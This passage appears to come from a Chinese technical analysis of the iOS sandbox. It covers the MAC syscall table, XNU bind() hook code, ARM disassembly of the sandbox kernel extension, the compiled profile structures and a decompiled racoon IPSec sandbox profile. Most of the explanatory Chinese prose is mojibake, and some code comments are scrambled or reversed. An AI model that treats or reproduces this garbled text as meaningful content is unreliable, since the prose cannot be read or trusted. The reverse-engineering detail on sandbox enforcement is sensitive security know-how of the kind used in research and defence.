388    AUE_MAC_GET_FD      ALL    { int __mac_get_fd(int fd, struct mac *mac_p); } 

389    AUE_MAC_SET_FD      ALL    { int __mac_set_fd(int fd, struct mac *mac_p); } 

390    AUE_MAC_GET_PID     ALL    { int __mac_get_pid(pid_t pid, 

                                         struct mac *mac_p); } 

391    AUE_MAC_GET_LCID    ALL    { int __mac_get_lcid(pid_t lcid, 

                                         struct mac *mac_p); } 

392    AUE_MAC_GET_LCTX    ALL    { int __mac_get_lctx(struct mac *mac_p); } 

393    AUE_MAC_SET_LCTX    ALL    { int __mac_set_lctx(struct mac *mac_p); } 

ఴΒ˖Ὃܷڙ ழयὋ˧ґᝦ᝶᣾ᄉlibsandbox˖ᄉ੝థူܪਕТᡙᄉ௦mac_syscallᄉࠑ

ၸਖ਼ቆᫍѥஜణՐᦏ᜵ុၸឞጆፑុၸǌឞុၸ௦ଡΘፋን႔ੰࡘὋᝧ߱͂ᒬᛠҮখຊҪጆፑុ

ၸᄉǌኃʶ˓ԟஜᄉၸ᤬௦᤯᣾mpc_name὇ࠪ̅෡ᄣᏪᝒὋᤇ঳௦̾ቆߙቿፆࡊᄉߙቿ˘

þSandboxÿὈᤤસን႔ੰࡘǌኃ̃˓ԟஜ௦ၸ౎ᤤસڙን႔˖ុၸߔ˓גጆፑុၸᄉǌణՐᄉԟ

ஜvoid *ᛪᇧ͉ʹԟஜᦏԺ̾͛ᤫፋን႔ᄉߔጆፑុၸǌ�

ᄉmpo_policy_syscallѥஜǌ˦߿૊Տሥಉ੼ን႔ՐὋTrustedBSD͗ុၸၿᄰःን႔ڙ

ὋˀþSandboxÿን႔ࠪःᄉmpo_policy_syscallѥஜૈ᧪ૈՓᄉͮᎵ௦˖͇ڌᄉ͂ੇڙ

sub_805F70B4ǌឞѥஜ͗˝ፋ߿ᄉᤈርူܪ੝థᄉ෡ᄣᦠᎵǌឞѥஜ௦ࠅ᝟ጆፑុၸ֖ူܪᝌ

ౡৰхᄉᡐܪݼὋܷܲஜʿԩζ͉ᄉၸਖ਼ቆᫍஜ૵ᦏ௦̯ᤇ᧖ᜁ҃ܬҁЮನ˖ᄉǌ 

ᒯ൤ὋЮನˀၸਖ਼ᤇˏቪࣂፂᄰ᥄˿ǌܷࠑԺ̾९ᅋࠪsandbox_initᄉុၸὋ̯ᇧΒር

ࣿὋፂ᣾libsandboxὋвҁᬝЙTrustedBSDᄉmac_syscallὋణጻвҁ෡ᄣЮನੰࡘǌ̯ᤇ

ʶཁʼᝮὋݟ౦;௦᜵ࠬ੼ЮನbugὋࠅ᝟౎ᒬၸਖ਼ቆᫍᄉʿԩζ͉ஜ૵ᄉᡸफ़Ὃґ᭦ሤጌᄉ

ᅻខࣂፂܴၸ˿ǌʿ᣾̯Բʶழ᭦౎ᝮὋᤇᤆʿᡛ̾ᝧੇ͂ፈ᣾෡ᄣ఺҃ǌʽʶᓫ͗࠱ᝌфᤇ

ʶ᫇ᮤ὚ੇ͂᜵˿ᝌൣ࣡ᄉጆፑុၸቇᡔ෡ᄣᄉᡸफ़Ὃࣲᝦ᝶ݟʹ಩૵ᤈርᄉଠᤗ஠͇ࠪୱͺ

ᤈᛠ᝿ͤǌ 

3. ㄪ⬹ⱘᅲᮑ 
ґ஠˖Ὃmac_policy_opsፆౝͳ௦ᜁॆϡ౼൒TrustedBSDྱథᄉጆፑុၸᄉᄯଋፆ౦ଋڙ

ԩಉលᄉǌឞፆౝͳ˖ᄉॡܲߙൿڙᤈርᄉൣ࣡ୱͺ˖ᦏ͗ၸҁǌTrustedBSDેᨈᜁ࠴ॶڠ߶ଢ

३᥅ԢЮನǌΒݟὋڙxnu-1699.24.8/bsd/kern/uipc_syscalls.c˖Ὃڙፘ፝ူܪᤈርᄉፄ߿ୱͺ˧ґὋ
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bindጆፑុၸ͗ុၸmac_socket_check_bindѥஜὙ  

int 

bind(__unused proc_t p, struct bind_args *uap, __unused int32_t *retval) 

{ 

... 

#if CONFIG_MACF_SOCKET_SUBSET 

        if ((error = mac_socket_check_bind(kauth_cred_get(), so, sa)) == 0) 

                error = sobind(so, sa); 

#else 

                error = sobind(so, sa); 

#endif /* MAC_SOCKET_SUBSET */ 

mac_socket_check_bindѥஜ௦ڙxnu-1699.24.8/security/mac_socket.c˖߿˦ᄉǌឞѥஜၸ

ҁ˿ኃ4ብ˖ᝦ᝶᣾ᄉMAC_CHECK߹Ὃ߱ॆௐࠪඇ్ࣂซбᄉን႔ᤈᛠᤕ̼ὋᏪ˄ݟ౦ڙን႔ᄉ

mac_policy_opsፆౝͳ˖߿˦˿mpo_socket_check_bindѥஜὋ߱ុ͗ࡂၸឞѥஜǌ�

int 

mac_socket_check_bind(kauth_cred_t ucred, struct socket *so, 

    struct sockaddr *sockaddr) 

{ 

        int error; 

 

        if (!mac_socket_enforce) 

                return 0; 

 

        MAC_CHECK(socket_check_bind, ucred, 

                  (socket_t)so, so->so_label, sockaddr); 

        return (error); 

} 

෡ᄣੰ߿ࡘ˦˿ʶ˓ѥஜὋၸ౎ࠪူܪbind()ጆፑុၸᄉុၸǌੇ͂ᤇ᧖ᄉྟ͇ڌఴઁ

mpo_socket_check_bind߿˦˝sub_805F8D54὇+1௦ૈᇧ᜵Ѭ૰ҁThumbഴयὈὙ�

__data:805FE0BC                DCD sub_805F8D54+1   ; mpo_socket_check_bind 

 

__text:805F8D54 sub_805F8D54                        ; DATA XREF: 

com.apple.security.sandbox:__data:sbx_mac_policy_opso 

__text:805F8D54 

__text:805F8D54 var_C           = -0xC 

__text:805F8D54 

__text:805F8D54        PUSH       {R7,LR} ; Push registers 

__text:805F8D56        MOV        R7, SP ; Rd = Op2 

__text:805F8D58        SUB        SP, SP, #4 ; Rd = Op1 - Op2 

__text:805F8D5A        MOV        R2, R1 ; Rd = Op2 

__text:805F8D5C        MOVS       R1, #0 ; Rd = Op2 

__text:805F8D5E        STR        R1, [SP,#0xC+var_C] ; Store to Memory 

__text:805F8D60        MOVS       R1, #0x37 ; Rd = Op2 

__text:805F8D62        LDR.W      R12, =(sub_805FA5D4+1) ; 

Load from Memory 

__text:805F8D66        BLX        R12 ; sub_805FA5D4 

__text:805F8D68        ADD        SP, SP, #4 ; Rd = Op1 + Op2 

__text:805F8D6A        POP        {R7,PC} ; Pop registers 

__text:805F8D6A ; End of function sub_805F8D54 
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ឞѥஜԵ͗͛ڙᤫ࣡᧙0x37ௐ੯ᛠʶ൒ࠪsub_805FA5D4ᄉុၸǌ0x37ᤇ˓Ϙ௦SBPLᄉ

*rules*Փ᧙ᄉጉलὋࣲ ˄ࠪःᅋnetwork-bindୱͺǌ߱ ௦ڙЮ̅ࢥlibsandboxᄉsbpl1_scm

ᑭఴ˖߿˦ᄉǌᏪsub_805FA5D4͗಩૵ॆґᤈርᄉଠᤗ஠͇ࠪnetwork-bindୱͺᤈᛠ೜ಉǌ

὇ܷࠑॡঋ͗ࡂᄹҁᤇʶ೜ಉࠃᬄʼ௦ঞಧ੯ᛠᄉǌὈ಩૵ଠᤗ஠͇೜ಉୱͺᄉ̼ᆉˀଠᤗ஠͇ᄉ

ಪय௦ጊࠚСᐎᄉὋ੝̾ଋʽ౎ੇ͂ଉᝦଠᤗ஠͇ߙᓫᆉಪयᄉጹᓫǌ�

4. ᦣ䗄᭛ӊᄫ㡖ⷕⱘᎹ԰ᮍᓣ 
ᝌ˿*rules*Փ᧙Ὃ̾Ԣфንಝ௦ঞಧၸ౎˝ଠᤗ஠͇᤾ᣣᎃᆉ˿ࠑᝦ᝶SBPLௐὋܷڙ

ᄉǌឞфንಝ௦୎ࣰᄉὋᏪ˄ˀߙቿ˘ԢൣѶᛪ᣹यߚϱڙʶᡐὋ̯Ꮺጷ੆˝ᒬ߿˦὇Ԁ᭣Ю

ᎵᄉὈଠᤗ஠͇͛ᤫፋЮನᄉଠᤗ஠͇ߙᓫᆉǌЮᎵଠᤗ஠͇థᅋsandboxdߵએᤈር˖ᄉᮔ

ᎃដ्यǌڙၸЮᎵଠᤗ஠͇ࠪᤈርᤈᛠ෡ᄣူܪௐὋЮನ͗ՓsandboxdԦᤞʶ్Mach๖ো

ጉ᜵ߙᓫᆉǌٿਆʶʽὋᒬ߿˦ଠᤗ஠͇௦ڙ੯ᛠѹݼӐ෡ᄣᄉጆፑុၸ˧ґၿlibsandbox

ᎃដᄉǌ 

ॆЮನଋஅߙᓫᆉ्यᄉଠᤗ஠͇ௐὋ߱ ͗ᝌౡܿᦉὋ̯ ᏪଡԨ౼̎᣾໙٧˖᜵ၸҁᄉൣѶ

ᛪ᣹यǌڙᝌౡ˿ൣѶᛪ᣹यࣲ࠱Фߚϱ̾Φ᝺᫇ՐὋឞൣѶᛪ᣹यᎀߚˀߙᓫᆉ͗ᜁߚϱҁ˝

෡ᄣੰࡘγ႐ᄉTrustedBSDᤈርಕ᝭˖ǌڙύၿTrustedBSDಳ౵ᤈЙୱͺ೜ಉុٿௐὋ෡ᄣᯪЎ

͗೜ಉ௦ՠథଠᤗ஠͇ˀॆґᤈርᄰСᐎǌݟ౦ឞᤈርХథଠᤗ஠͇Ὃ࠵ᄣߙࠪࡂᓫᆉᤈᛠ೜ጉὋ

ࣲࠪᔩ࣯SBPLୱͺᤈᛠ᝿ͤǌ 

˄ᤈᛠ᝿ͤᄉǌᤇʶфንಝ௦ᛠᤈᄉὋᏪݼ௦̯фንಝ˖ࠪःय़೜ಉୱͺᄉᓫཁधڰஶഴࠃ

ඇ൒ᣀ૰ᦏ͗಩૵ˀᓫཁᄰСᐎᄉ᣾໙٧ͺѢᤤસǌੇ ͂ፘ፝ᄹ˧ґፄ߿ᄉΒߔὋϟሧ᧙˝0x37

ᤈᛠӛᦠᄉ᣾໙٧ǌډଋୱͺᏪᝒὋੇ͂థʶ˓ࠪቪԯՁᔴݒᓫཁǌࠪ̅ݼ௦ᡐࡂᄉфንᓫཁܪ

಩૵᣾໙٧్͇௦ՠ३ҁ໗ᡛ὇͗˝ᤇˏሗԺᑞবଡΘଋʽ౎ᄉᓫཁὈὋੇ͂͗ࠪឞ᣾໙٧ୱͺ

ᤈᛠ೜ಉὋࣲ᧓Ԩ᤟ॆᄉᣀ૰ǌфንಝ˖ᄉ͉ʹᓫཁᦏԺᑞ௦ጻፆᓫཁ὚ڙЙԯ˧ʼὋੇ͂ʿ͗

ःၸ᣾໙٧Ὃͭ͗ͺѢЉ᝴੊ધፏᄉф߿ǌ 

ဗࠪࠑܷڙЮನݟʹᤈᛠ᝿ͤࣂథ˿ܷᒰᄉ˿ᝌὋԺ̾ፘ፝ᆐቂbindុၸ˿ǌᤇ˓Βߔ௦

̾ࠪsub_805FA5D4ᄉុၸፆోᄉǌឞѥஜ̯ᤈርಕ᝭Ҫᣑ෡ᄣὋཨՐុၸsb_evaluateǌੇڙ

͂੝ၸᄉЮನᎀྟߚఴ˖Ὃsb_evaluate0ڙx805FB0ECͮᎵǌឞѥஜ͗᥅ԊфንಝὋࣲ૊ཱЎ

ґଠᤗᄉᥦಧ੯ᛠࠪୱͺᄉ᝿ͤǌᤇ௦˓ॡܷॡܬఽᄉѥஜὋʿ ᣾ݟ౦ܷࠑᄽਆ˿ᝌଠᤗ஠͇௦

˓ג˿ҁ࠰Юನୱͺ௡˓גᤈᛠᝌ᧕ᄉὋᥦឞѥஜ௦˓ʿᩱᄉᡐཁǌឞѥஜᤆԺ̾ၸ౎੼Ѣʹݟ

SBPLୱͺǌᤇሗ௡࠰Сጆʿ௦ʶࠪʶᄉǌ 

ణՐੇ͂᜵̭ፀᄉ௦ၸ౎࠱ଠᤗ஠͇͛ᤞፋЮನᄉ̃ᤈ҃ಪयǌᤇ௄Ժ̯̾ၸਖ਼ቆᫍᦉѫ˝

ᒬ߿˦ଠᤗ஠͇Ѹतߙᓫᆉ὇libsandbox˖ᄉcompileὈឬᡐὋ˶Ժ̯̾ူܪଠᤗ஠͇ᄉЮನ

̼ᆉឬᡐǌڙЮನቪὋᤇሗᝌౡѫ˝ൣѶᛪ᣹यᝌౡ̼ᆉ֖sb_evaluateᄉ̼ᆉǌੇ̭͂ࣂፀ

᣾ᤇሗಪयᄉCឥᝒ̼͡ᆉଠᤗǌଠᤗ஠͇̯᤾ᣣʼᝮ௦૊ཱфንಝᄉ्यଅѴᄉὋଠᤗ஠͇ᄉ

᝿ͤ௦ڙፋ߿ୱͺ὇þᤇ˓ᤈር௦ՠԺ̾ឳᡸफ़Xܪᄉ஠͇὞ÿὈᄉґଡʽ߸੆ᄉǌop_tableឬ

௙˿ඇ˓ୱͺधݼᄉᓫཁǌڙፋॆ߿ґᓫཁ֖੝࠼ណୱͺᄉৰхʽὋ᝿ͤ௦ՠፘ፝௦಩૵ॆґᓫ

ཁᄉዜۋф߿ᄉǌݟ౦ᓫཁ௦ፆ౦ᓫཁὋ᝿̖ͤ͗ࡂၶፆ౦὇Љ᝴੊ધፏὈǌՠѶὋឞᓫཁ௦ф
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ንᓫཁὋԺᑞࠪୱͺःၸܷ᧙ᄉ៊ជ᣾໙٧ǌݟ౦᣾໙٧Љ᝴੊ӛᦠ˿੝࠼ណᄉୱͺὋॆґᄉᓫ

ཁ͗ࡂᜁᎵ˝match_nextϘὋᛪᇧᤇ௦३ҁᆷᝢᄉǌʿཨὋॆґᓫཁ͗ᜁᎵ˝nomatch_next

Ϙǌᤇ̎ᓫཁࡂౝ੆˿ʶ೪̃ԡфንಝǌ 

struct node; 

 

struct sb_profile { 

  union { 

    struct { 

      uint16_t re_table_offset; 

      uint16_t re_table_count; 

      uint16_t op_table[SB_OP_TABLE_COUNT]; 

    } body; 

    struct node nodes[1]; 

  } u; 

}; 

 
     ਦۨăڦǈ໲ׂࣷิথ๴ई਌ਨ֡ፕۅব܋๟ዕۅবࡕă঳ۅবڦਦ֧ຏዐᆶଇૌփཞ޿ //

// ਦ֧বܔࣷۅ໯׈๬֡ڦፕ("Does the path match '/var/awesome'?")৊ႜࡗ୳ǈ     

// ժॽߵ਍ࡗ୳֡ፕڦ঳ڟ܉ࡗࡕଇ߲বۅዐڦగᅃ߲ 

 

struct result; 

#define NODE_TAG_DECISION 0 

#define NODE_TAG_RESULT   1 

 
// ௅ᅃૌࡗ୳ഗࣷۼᅜփཞݛ๕๑ᆩ֖ຕኵă     

// ૩සǈpath literal֖ຕ๟ࡗ୳ഗڦೋᅎଉǄ૗࿔ॲڦਸཀྵᆶ8߲ጴব੷ڦೋᅎǅă     

// ሞ޿ೋᅎڦ࿋ዃǈ٪ሞᅃ߲uint32_tૌ႙ڦlength֖ຕĂᅃ߲uint8_tૌ႙ڦག؊ጴবǈ     

// ᅜतᅃ߲lengthጴবڦASCIIୟ০ăpath regexࡗ୳ഗ֖ຕ๟regex՗ڦ໭ᆅă     

// ኄၵࡗ୳ഗ๟ᇑഴ෇libsandboxዐڦScheme SBPLগԨ኱থܔᆌڦă     

 sbdis.pyগԨڦஓԈዐپဦব੗֖੊ᇸܠ߸ //

 

struct decision; 

#define DECISION_TYPE_PATH_LITERAL      1 

#define DECISION_TYPE_PATH_REGEX        0x81 

#define DECISION_TYPE_MOUNT_RELATIVE    2 

#define DECISION_TYPE_XATTR             3 

#define DECISION_TYPE_FILE_MODE         4 

#define DECISION_TYPE_IPC_POSIX         5 

#define DECISION_TYPE_GLOBAL_NAME       6 

#define DECISION_TYPE_LOCAL             8 

#define DECISION_TYPE_REMOTE            9 

#define DECISION_TYPE_CONTROL           10 

#define DECISION_TYPE_TARGET            14 

#define DECISION_TYPE_IOKIT             15 

#define DECISION_TYPE_EXTENSION         18 

 

struct node { 

  uint8_t tag; 

  union { 

    struct result terminal; 

    struct decision filter; 
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    uint8_t raw[7]; 

  } u; 

}; 

 

struct result { 

  uint8_t padding; 

  uint16_t allow_or_deny; 

}; 

 

struct decision { 

  uint8_t type; 

  uint16_t arg; 

  uint16_t match_next; 

  uint16_t nomatch_next; 

}; 

ఴ˹ᦠݒᄉᣃ͇Ӊ˖դథ̯sandboxd˖ଡԨᎃដ᣾ᄉ෡ᄣᄉࢹХǋଡԨ੝థᎃដ᣾ᄉൣѶ

ᛪ᣹यᄉࢹХǋ࠱regex̃ᤈܷ҃ࠪ៵ԥᎃដ੆ዜͪൣѶᛪ᣹य஠กᄉЮࠓᄉࢹХὋ̾Ԣ̯߸ஞ

ᄉ̃ᤈ҃෡ᄣଠᤗ஠͇˖ଡԨԺ᫝ឳଠᤗ஠͇ᄉࢹХǌ̔ ᭦ੇ͂ፋѢ˿ᤇሗࢹХ੝ၶ੆ᣤѢᄉᇧ

ΒὋឞଠᤗ஠͇௦racoon IPSecߵએᤈርᄉଠᤗ஠͇ǌ�

(['default'], ['deny (with report)']) 

(['file*', 

  'file-chroot', 

  'file-issue-extension*', 

  'file-issue-extension-read', 

  'file-issue-extension-write', 

  'file-mknod', 

  'file-revoke', 

  'file-search'], 

[('allow', 'path == "/private/var/log/racoon.log"'), 

  ('allow', 'path == "/Library/Keychains/System.keychain"'), 

  ('allow', 'path == "/private/var/db/mds/system/mdsDirectory.db"'), 

  ('allow', 'path == "/private/var/db/mds/system/mds.lock"'), 

  ('allow', 'path == "/private/var/db/mds/system/mdsObject.db"'), 

  ('allow', 'path == "/var/log/racoon.log"'), 

  'deny (with report)']) 

(['file-ioctl'], 

 [('allow', 'path == "/private/var/run/racoon"'), 

  ('allow', 'path == 

"/private/var/preferences/SystemConfiguration/com.apple.ipsec.plist"'), 

  ('allow', 'path == "/private/etc/racoon"'), 

  ('allow', 'path == "/dev/aes_0"'), 

  ('allow', 'path == "/dev/dtracehelper"'), 

  ('allow', 'path == "/dev/sha1_0"'), 

  ('allow', 'path == "/private/etc/master.passwd"'), 

  ('allow', 'path == "/private/var/log/racoon.log"'), 

  ('allow', 'path == "/Library/Keychains/System.keychain"'), 

  ('allow', 'path == "/private/var/db/mds/system/mdsDirectory.db"'), 

  ('allow', 'path == "/private/var/db/mds/system/mds.lock"'), 

  ('allow', 'path == "/private/var/db/mds/system/mdsObject.db"'), 

  ('allow', 'path == "/var/log/racoon.log"'), 

  'deny (with report)']) 
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(['file-read-xattr', 'file-read*', 'file-read-data'], 

 [('allow', 'path == "/private/var/run/racoon"'), 

  ('allow', 'path == 

"/private/var/preferences/SystemConfiguration/com.apple.ipsec.plist"'), 

  ('allow', 'path == "/private/etc/racoon"'), 

  ('allow', 'path == "/Library/Managed Preferences"'), 

  ('allow', 'path == "/private/var/db/mds/messages/se_SecurityMessages"'), 

  ('allow', 'path == "/private/var/root"'), 

  ('allow', 'path == "/Library/Preferences"'), 

  ('if', 

   'file-mode == 4', 

   [('allow', 'path == "/usr/sbin"'), 

    ('allow', 'path == "/usr/lib"'), 

    ('allow', 'path == "/System"'), 

    ('allow', 'path == "/usr/share"'),]), 

   ('allow', 'path == "/private/var/db/timezone/localtime"'), 

   ('allow', 'path == "/dev/urandom"'), 

   ('allow', 'path == "/dev/random"'), 

   ('allow', 'path == "/dev/null"'), 

   ('allow', 'path == "/dev/zero"'), 

   ('allow', 'path == "/dev/aes_0"'), 

   ('allow', 'path == "/dev/dtracehelper"'), 

   ('allow', 'path == "/dev/sha1_0"'), 

   ('allow', 'path == "/private/etc/master.passwd"'), 

   ('allow', 'path == "/private/var/log/racoon.log"'), 

   ('allow', 'path == "/Library/Keychains/System.keychain"'), 

   ('allow', 'path == "/private/var/db/mds/system/mdsDirectory.db"'), 

   ('allow', 'path == "/private/var/db/mds/system/mds.lock"'), 

   ('allow', 'path == "/private/var/db/mds/system/mdsObject.db"'), 

   ('allow', 'path == "/var/log/racoon.log"'), 

   'deny (with report)']) 

(['file-read-metadata’], 

 [('allow', 'path == "/tmp"'), 

  ('allow', 'path == "/var"'), 

  ('allow', 'path == "/etc"'), 

  ('allow', 'path == "/private/var/run/racoon"'), 

  ('allow', 'path == 

"/private/var/preferences/SystemConfiguration/com.apple.ipsec.plist"'), 

  ('allow', 'path == "/private/etc/racoon"'), 

  ('allow', 'path == "/Library/Managed Preferences"'), 

  ('allow', 'path == "/private/var/db/mds/messages/se_SecurityMessages"'), 

  ('allow', 'path == "/private/var/root"'), 

  ('allow', 'path == "/Library/Preferences"'), 

  ('if', 

   'file-mode == 4', 

   [('allow', 'path == "/usr/sbin"'), 

    ('allow', 'path == "/usr/lib"'), 

    ('allow', 'path == "/System"'), 

    ('allow', 'path == "/usr/share"'),]), 

   ('allow', 'path == "/private/var/db/timezone/localtime"'), 

   ('allow', 'path == "/dev/urandom"'), 

   ('allow', 'path == "/dev/random"'), 

   ('allow', 'path == "/dev/null"'), 

   ('allow', 'path == "/dev/zero"'), 
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   ('allow', 'path == "/dev/aes_0"'), 

   ('allow', 'path == "/dev/dtracehelper"'), 

   ('allow', 'path == "/dev/sha1_0"'), 

   ('allow', 'path == "/private/etc/master.passwd"'), 

   ('allow', 'path == "/private/var/log/racoon.log"'), 

   ('allow', 'path == "/Library/Keychains/System.keychain"'), 

   ('allow', 'path == "/private/var/db/mds/system/mdsDirectory.db"'), 

   ('allow', 'path == "/private/var/db/mds/system/mds.lock"'), 

   ('allow', 'path == "/private/var/db/mds/system/mdsObject.db"'), 

   ('allow', 'path == "/var/log/racoon.log"'), 

   'deny (with report)'])]) 

 (['file-write*', 

   'file-write-create', 

   'file-write-flags', 

   'file-write-mode', 

   'file-write-mount', 

   'file-write-owner', 

   'file-write-setugid', 

   'file-write-times', 

   'file-write-unlink', 

   'file-write-unmount', 

   'file-write-xattr'], 

  [('allow', 'path == "/private/var/run/racoon.pid"'), 

   ('allow', 'path == "/private/var/run/racoon.sock"'), 

   ('allow', 'path == "/private/var/log/racoon.log"'), 

   ('allow', 'path == "/Library/Keychains/System.keychain"'), 

   ('allow', 'path == "/private/var/db/mds/system/mdsDirectory.db"'), 

   ('allow', 'path == "/private/var/db/mds/system/mds.lock"'), 

   ('allow', 'path == "/private/var/db/mds/system/mdsObject.db"'), 

   ('allow', 'path == "/var/log/racoon.log"'), 

   'deny (with report)']) 

 (['file-write-data'], 

  [('allow', 'path == "/dev/zero"'), 

   ('allow', 'path == "/dev/aes_0"'), 

   ('allow', 'path == "/dev/dtracehelper"'), 

   ('allow', 'path == "/dev/sha1_0"'), 

   ('allow', 'path == "/dev/null"'), 

   ('allow', 'path == "/private/var/run/racoon.pid"'), 

   ('allow', 'path == "/private/var/run/racoon.sock"'), 

   ('allow', 'path == "/private/var/log/racoon.log"'), 

   ('allow', 'path == "/Library/Keychains/System.keychain"'), 

   ('allow', 'path == "/private/var/db/mds/system/mdsDirectory.db"'), 

   ('allow', 'path == "/private/var/db/mds/system/mds.lock"'), 

   ('allow', 'path == "/private/var/db/mds/system/mdsObject.db"'), 

   ('allow', 'path == "/var/log/racoon.log"'), 

   'deny (with report)']) 

 (['iokit-open'], 

  [('allow', 'iokit-user-client-class == "RootDomainUserClient"'), 

   'deny (with report)']) 

 (['ipc-posix*', 'ipc-posix-sem'], 

  [('allow', 'ipc-posix-name == "com.apple.securityd"'), 'deny (with report)']) 

 (['ipc-posix-shm'], 

  [('allow', 'ipc-posix-name == "com.apple.AppleDatabaseChanged"'), 

   ('allow', 'ipc-posix-name == "apple.shm.notification_center"'), 
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   ('allow', 'ipc-posix-name == "com.apple.securityd"'), 

   'deny (with report)']) 

 (['sysctl*', 

  'sysctl-read', 

  'sysctl-write', 

  'mach-bootstrap', 

  'system-socket', 

  'priv*', 

  'priv-adjtime', 

  'priv-netinet*', 

  'priv-netinet-reservedport'], 

 ['allow']) 

(['mach-issue-extension', 'mach-lookup'], 

 [('allow', 'mach-global-name == "com.apple.ocspd"'), 

  ('allow', 'mach-global-name == "com.apple.securityd"'), 

  ('allow', 'mach-global-name == "com.apple.system.notification_center"'), 

  ('allow', 'mach-global-name == "com.apple.system.logger"'), 

  ('allow', 

   'mach-global-name == "com.apple.system.DirectoryService.membership_v1"'), 

  ('allow', 

   'mach-global-name == "com.apple.system.DirectoryService.libinfo_v1"'), 

  ('allow', 'mach-global-name == "com.apple.bsd.dirhelper"'), 

  ('allow', 'mach-global-name == "com.apple.SecurityServer"'), 

   'deny (with report)']) 

(['network*', 'network-inbound', 'network-bind'], 

  [('allow', 'local.match(udp:*:500)'), 

   ('allow', 'remote.match(udp:*:*)'), 

   ('allow', 'path == "/private/var/run/racoon.sock"'), 

   ('allow', 'local.match(udp:*:4500)'), 

   'deny (with report)']) 

(['network-outbound'], 

 [('deny (with report)', 

   'path.match("^/private/tmp/launchd-([0-9])+\\.([^/])+/sock$")'), 

  ('deny (with report)', 'path == "/private/var/tmp/launchd/sock"'), 

  ('allow', 'path == "/private/var/run/asl_input"'), 

  ('allow', 'path == "/private/var/run/syslog"'), 

  ('allow', 'path == "/private/var/tmp/launchd"'), 

  ('allow', 'local.match(udp:*:500)'), 

  ('allow', 'remote.match(udp:*:*)'), 

  ('allow', 'path == "/private/var/run/racoon.sock"'), 

  ('allow', 'local.match(udp:*:4500)'), 

  'deny (with report)']) 

(['signal'], [('allow', 'target == self'), 'deny (with report)']) 

ᤇ᧖׬ʶ෤థ̭ፀᄉࡂ௦ൣѶᛪ᣹यಪयᄉጹᓫǌAppleMatchЮನੰࡘ੯ᛠ˿ᤇʶӛᦠࣲ

᜺߿˿̃ᤈ҃ಪयὋᏪၸਖ਼ቆᫍᄉlibMatchѶઁൣѶᛪ᣹यᎃដ੆˿ࢥЙ෡ᄣଠᤗ஠͇˖ᄉ

regex ̃ᤈܷ҃ࠪ៵ǌᎃដ᣾ᄉൣѶᛪ᣹यಪयˀ www.semantiscope.com/research/BHDC 

2011/BHDC2011-Paper.pdf˖ଠᤗᄉሮథʿՎὋͭ ᓫᆉಪयߙଠᤗ஠͇ᄉ֖ࡂऩܲ௦ᛪ᭦ʼᄉǌࢿ

ʶಧὋᣃ͇Ӊ˖˶Ӊդ˿ˀ൤థСᄉణ·஠ುǌᏪredis.pyᑭఴѶԺ̾ઁᎃដѢᄉregex̃ᤈ҃

ܷࠪ៵ᣀ૰੆ኍ͈ᄉൣѶᛪ᣹यǌ�
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5.3.3� ≭ⲦᴎࠊᇍApp Storeᑨ⫼੠ᑇৄᑨ⫼ⱘᕅડ 

ဗՐὋܷࠃᄹ᣾෡ᄣᄉڠ᭣࣡សጹڙ ᄉ΍ၸழयǌ੝΍ၸଠᤗ஠ڙःឞਆᅻ᥊ᤇʶྱবဗࠑ

͇ᄉጹᓫ෤థ३ҁॡݝᄉ᝭ेឬ௙Ὃͭ ᦏᅻ᥊෡ᄣᬌ҃˿ᥦ̯̎App Storeʼʽᣑᄉःၸǌᬓࠑܷ

൤˧ܰὋϷMobileSafari֖MobileMailᤇಧᄉࣰԻःၸథॡܲ˶ᜁᎵ̅෡ᄣ˧˖ǌᤇ̎ःၸ௦ݟʹ

௦ఴᓫࡂ٧ᄫे˖ᄉ὞ᤇ̎ࠓՉᒬᄉ͂߱ڙᜁᬌ҃ʹݟ෡ᄣʽᤁᛠᄉ὞Չ˓App Storeःၸ௦ڙ

᜵ٿኔᄉ᫇ᮤǌ 

Ѣ̠਒஧ᄉ௦ὋApp Storeःၸࣰ֖Իःၸᦏʿ͗ᄯଋុၸsandbox_init੊ᄰСѥஜǌ൤ܰὋ

ᙉཨԺ̾᤯᣾launchd֖෡ᄣଠᤗ஠͇౎ᤁᛠःၸὋͭੇ͂Ԧဗ෤థג˓ЮᎵःၸ΍ၸឞҩᑞǌ

 ቿ˘ૈ௙˿᤯Փኔ಴ᄉᡸὙߙ̎౼ᄉ˖ࡘЮನੰڙݝ

__cstring:805FDA21 aPrivateVarMobi DCB "/private/var/mobile/Applications/",0 

... 

__cstring:805FDB6F aSandboxIgnorin DCB "Sandbox: ignoring builtin profile for 

platform app: %s",0xA,0 

ࠪᤇ̎ߙቿ˘ᄉݟʽ̓ԡलၸឬ௙߱͂ᦏ௦ၸ̅ѥஜsbx_cred_label_update_execve

ᄉǌԵ᜵ҪᣑளᄉԺ੯ᛠ᪪ϷὋឞѥஜࡂ᜵ᜁុၸǌ᝭ͰὋʿክॆґᤈር௦ՠࣂፂѹݼӐ෡ᄣὋ

TrustedBSDѥஜᦏ͗ᜁុၸǌݟ౦෡ᄣ࠺లѹݼӐὋܷ ܲஜѥஜᦏ͗ڙʿᤈᛠ೜ಉᄉৰхʽ௉௉

ᤄٿǌڙᤇሗৰхʽὋsbx_cred_label_update_execveᯪЎ͗˝ࣂҪᣑᄉԺ੯ᛠ᪪Ϸ᝟ኪᡸ

फ़ǌݟ౦Ժ੯ᛠ᪪Ϸڙ/private/var/mobile/Applications˧ʽὋᥦ˥ЮᎵᄉ෡ᄣଠᤗ஠ ὇͇˶ࡂ௦þࠓ

٧ÿὈ͗ᜁҪᣑὋᏪ˄̅ܪʼᤗᄫेʽᄉᡸफ़͗ᜁͺ˝ੰࡘຊҪǌឞੰࡘԺ̾ըၸၸ̅੝థApp 

StoreःၸᄉՎʶ٧ࠓଠᤗ஠͇὇ʿክᤇ̎ःၸ௦ՠڙܪʿՎߔᄫे˖Ὀǌᤇˀఴብኃʶᓫ˖ፋѢ

ᄉΒߔᄰ֏ःǌ�

ϷMobileSafariᤇಧᄉࣰԻःၸࣲలᜁᎵ̅App Storeᄉᄫेፆౝʽǌࠪ̅ᤇ̎ःၸ౎ឬὋ෡

ᄣଠᤗ஠͇Ժ̾ڙMach-OԺ੯ᛠ஠͇̼ᆉኣՏҪᣑ̽֐ᄉЮా૾ࢥ὇embedded entitlementὈᦉ

ѫ˖ૈ߿ǌʽ᭦ᄉЮࠓ௦MobileSafariЮా૾ࢥᄉ୑ेὙ 

pitfall:entitlements dion$ ./grab_entitlements.py MobileSafari 

<?xml version="1.0" encoding="UTF-8"?> 

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" 

"http://www.apple.com/DTDs/PropertyList-1.0.dtd"> 

